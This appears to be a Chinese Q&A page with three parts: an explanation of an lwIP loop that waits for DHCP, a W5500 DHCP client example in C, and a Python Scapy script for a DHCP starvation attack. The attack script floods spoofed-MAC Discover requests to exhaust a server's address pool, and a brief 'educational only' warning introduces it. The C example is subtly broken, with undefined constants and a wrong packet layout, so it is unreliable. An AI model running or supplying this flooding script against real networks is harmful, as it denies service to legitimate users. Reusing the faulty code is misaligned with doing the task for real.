while((lwipdev.dhcpstatus!=2)&&(lwipdev.dhcpstatus!=0XFF))//等待DHCP获取成功/超时溢出 { lwip_periodic_handle(); }什么意思

这段代码的意思是：在lwIP网络协议栈中，等待DHCP获取成功或超时溢出。代码中的while循环会一直执行lwip_periodic_handle()函数，直到lwipdev.dhcpstatus变量的值等于2（DHCP获取成功）或0XFF（超时溢出）。在此期间，程序会不断地发送DHCP请求，直到获取到IP地址或超时。

相关问题

W5500 DHCP代码

以下是W5500使用DHCP获取IP地址的示例代码：

#include <stdio.h>
#include <string.h>
#include "W5500.h"

#define SOCK_DHCP   6    // DHCP套接字号

#define DHCP_CHADDR_LEN 6   // 客户机（W5500）MAC地址长度
#define DHCP_SNAME_LEN  64  // 服务器名称长度
#define DHCP_FILE_LEN   128 // 引导文件名长度

// DHCP状态码
#define DHCP_STATE_INIT         0
#define DHCP_STATE_SELECTING    1
#define DHCP_STATE_REQUESTING   2
#define DHCP_STATE_BOUND        3
#define DHCP_STATE_RENEW        4
#define DHCP_STATE_REBIND       5

// DHCP消息类型
#define DHCP_DISCOVER       1
#define DHCP_OFFER          2
#define DHCP_REQUEST        3
#define DHCP_DECLINE        4
#define DHCP_ACK            5
#define DHCP_NAK            6
#define DHCP_RELEASE        7

// DHCP选项
#define DHCP_OPT_END        0
#define DHCP_OPT_SUBNET     1
#define DHCP_OPT_ROUTER     3
#define DHCP_OPT_DNS        6
#define DHCP_OPT_REQ_IP     50
#define DHCP_OPT_LEASE_TIME 51
#define DHCP_OPT_MSG_TYPE   53
#define DHCP_OPT_SERVER     54
#define DHCP_OPT_REQ_LIST   55

// DHCP服务器IP地址
#define DHCP_SERVER_IP      {192, 168, 0, 1}

static uint8_t dhcp_state = DHCP_STATE_INIT;
static uint32_t dhcp_tick = 0;

static uint8_t dhcp_chaddr[DHCP_CHADDR_LEN]; // MAC地址
static uint8_t dhcp_xid[4];                  // 会话ID
static uint32_t dhcp_leasetime;              // 租期
static uint32_t dhcp_renewtime;              // 续租时间
static uint32_t dhcp_rebindtime;             // 重新绑定时间
static uint32_t dhcp_serverip;               // DHCP服务器IP地址
static uint8_t dhcp_subnetmask[4];           // 子网掩码
static uint8_t dhcp_gateway[4];              // 网关
static uint8_t dhcp_dns[4];                  // DNS

// 发送DHCP消息
static void dhcp_send(uint8_t msgtype)
{
    uint8_t txbuf[1024];
    uint8_t *p;
    uint16_t len;

    // 构造DHCP消息
    p = txbuf;
    memset(p, 0, 28);
    p[0] = DHCP_BOOTREQUEST;
    p[1] = DHCP_HTYPE_ETHER;
    p[2] = DHCP_HLEN_ETHER;
    p[3] = DHCP_HOPS;
    memcpy(p + 4, dhcp_xid, 4);
    p += 8;
    memcpy(p, dhcp_chaddr, DHCP_CHADDR_LEN);
    p += DHCP_CHADDR_LEN;
    memset(p, 0, 192);
    p += 192;
    memcpy(p, "\x63\x82\x53\x63", 4); // Magic Cookie
    p += 4;
    *p++ = DHCP_OPT_MSG_TYPE;
    *p++ = 1;
    *p++ = msgtype;
    *p++ = DHCP_OPT_REQ_IP;
    *p++ = 4;
    memset(p, 0, 4);
    p += 4;
    *p++ = DHCP_OPT_SERVER;
    *p++ = 4;
    memcpy(p, &dhcp_serverip, 4);
    p += 4;
    *p++ = DHCP_OPT_END;

    // 发送DHCP消息
    len = (uint16_t)(p - txbuf);
    wiz_send_data(SOCK_DHCP, txbuf, len);
}

// 解析DHCP消息
static uint8_t dhcp_parse(uint8_t *rxbuf)
{
    uint8_t *p;
    uint8_t opt, optlen;
    uint16_t len;
    uint32_t lease;

    // 验证会话ID和MAC地址
    if (memcmp(dhcp_xid, rxbuf + 4, 4) != 0 ||
        memcmp(dhcp_chaddr, rxbuf + 28, DHCP_CHADDR_LEN) != 0) {
        return 0;
    }

    // 解析DHCP选项
    p = rxbuf + 240;
    while (*p != DHCP_OPT_END && p < rxbuf + 512) {
        opt = *p++;
        if (opt == DHCP_OPT_MSG_TYPE) { // 消息类型
            optlen = *p++;
            if (*p == DHCP_OFFER && dhcp_state == DHCP_STATE_SELECTING) {
                dhcp_serverip = *(uint32_t *)(p + 1);
                dhcp_send(DHCP_REQUEST);
                dhcp_state = DHCP_STATE_REQUESTING;
            } else if (*p == DHCP_ACK && dhcp_state == DHCP_STATE_REQUESTING) {
                dhcp_leasetime = *(uint32_t *)(p + 1);
                dhcp_tick = wiz_millis();
                dhcp_state = DHCP_STATE_BOUND;
                return 1;
            }
        } else if (opt == DHCP_OPT_SUBNET) { // 子网掩码
            optlen = *p++;
            memcpy(dhcp_subnetmask, p, 4);
        } else if (opt == DHCP_OPT_ROUTER) { // 网关
            optlen = *p++;
            memcpy(dhcp_gateway, p, 4);
        } else if (opt == DHCP_OPT_DNS) { // DNS
            optlen = *p++;
            memcpy(dhcp_dns, p, 4);
        } else if (opt == DHCP_OPT_LEASE_TIME) { // 租期
            optlen = *p++;
            lease = *(uint32_t *)(p + 1);
            dhcp_renewtime = lease / 2;
            dhcp_rebindtime = lease * 7 / 8;
        } else if (opt == DHCP_OPT_SERVER) { // DHCP服务器IP地址
            optlen = *p++;
            dhcp_serverip = *(uint32_t *)(p + 1);
        } else { // 其他选项
            optlen = *p++;
        }
        p += optlen;
    }

    return 0;
}

// DHCP初始化
void dhcp_init(void)
{
    wiz_get_mac(dhcp_chaddr); // 获取MAC地址
    dhcp_xid[0] = rand() & 0xFF;
    dhcp_xid[1] = rand() & 0xFF;
    dhcp_xid[2] = rand() & 0xFF;
    dhcp_xid[3] = rand() & 0xFF;
    dhcp_serverip = MAKE_IP_ADDR(DHCP_SERVER_IP);
}

// DHCP处理
void dhcp_process(void)
{
    uint8_t rxbuf[512];
    uint16_t len;

    switch (dhcp_state) {
    case DHCP_STATE_INIT: // 初始化
        dhcp_send(DHCP_DISCOVER);
        dhcp_state = DHCP_STATE_SELECTING;
        break;
    case DHCP_STATE_BOUND: // 已绑定
        if (wiz_millis() - dhcp_tick > dhcp_renewtime * 1000) { // 续租
            dhcp_send(DHCP_REQUEST);
            dhcp_state = DHCP_STATE_RENEW;
        }
        break;
    case DHCP_STATE_RENEW: // 续租
        if (dhcp_parse(rxbuf)) {
            dhcp_tick = wiz_millis();
            dhcp_state = DHCP_STATE_BOUND;
        } else if (wiz_millis() - dhcp_tick > 5000) {
            dhcp_send(DHCP_REQUEST);
        }
        break;
    case DHCP_STATE_REBIND: // 重新绑定
        if (dhcp_parse(rxbuf)) {
            dhcp_tick = wiz_millis();
            dhcp_state = DHCP_STATE_BOUND;
        } else if (wiz_millis() - dhcp_tick > 5000) {
            dhcp_send(DHCP_REQUEST);
        }
        break;
    default: // 其他状态
        if (dhcp_parse(rxbuf)) {
            dhcp_tick = wiz_millis();
        }
        break;
    }

    // 接收DHCP消息
    len = wiz_recv_data(SOCK_DHCP, rxbuf, sizeof(rxbuf));
    if (len > 0 && dhcp_parse(rxbuf)) {
        dhcp_tick = wiz_millis();
    }
}

使用方法：

1. 在初始化W5500之后，调用`dhcp_init()`函数进行DHCP初始化。
2. 在主循环中，调用`dhcp_process()`函数处理DHCP状态。
3. 如果DHCP已成功获取IP地址，则可以通过`wiz_get_ip()`等函数获取IP地址、子网掩码、网关和DNS等信息。

注意事项：

1. 必须使用单独的套接字（如SOCK_DHCP）来发送和接收DHCP消息。
2. 在发送DHCP消息时，必须设置DHCP选项，包括消息类型、请求IP地址、DHCP服务器IP地址等。
3. 在解析DHCP消息时，必须验证会话ID和MAC地址，以确保收到的消息是针对当前W5500的。
4. 在DHCP续租或重新绑定时，必须根据DHCP服务器返回的租期计算续租时间和重新绑定时间。

以上代码仅供参考，具体实现可能需要根据实际情况进行修改。

dhcp饥饿python

### 实现 DHCP 饿死攻击的 Python 代码

#### 警告
请注意，实施此类攻击违反法律并可能造成严重后果。仅用于教育目的。

为了展示技术原理而不实际危害网络环境，下面提供了一个理论上的Python脚本框架来说明如何构建一个DHCP饿死攻击程序：

from scapy.all import *
import random

def generate_random_mac():
    mac = [0x00, 0x16, 0x3e,
           random.randint(0x00, 0x7f),
           random.randint(0x00, 0xff),
           random.randint(0x00, 0xff)]
    return ':'.join(map(lambda x: "%02x" % x, mac))

def dhcp_starvation_attack(target_ip="255.255.255.255", interface="eth0"):
    while True:
        rand_mac = generate_random_mac()
        
        # 构造Discover包
        discover_packet = Ether(src=rand_mac)/IP(src="0.0.0.0", dst=target_ip)\
            /UDP(sport=68,dport=67)/BOOTP(chaddr=rand_mac.encode())\
            /DHCP(options=[("message-type","discover"),"end"])
            
        sendp(discover_packet, iface=interface)

if __name__ == "__main__":
    try:
        print("[*] Starting DHCP Starvation Attack...")
        dhcp_starvation_attack()  # 此处省略参数是为了简化示例
    except Exception as e:
        print(f"[!] An error occurred: {str(e)}")

此代码利用Scapy库发送大量的伪造MAC地址请求给目标服务器，试图耗尽其可用IP资源[^1]。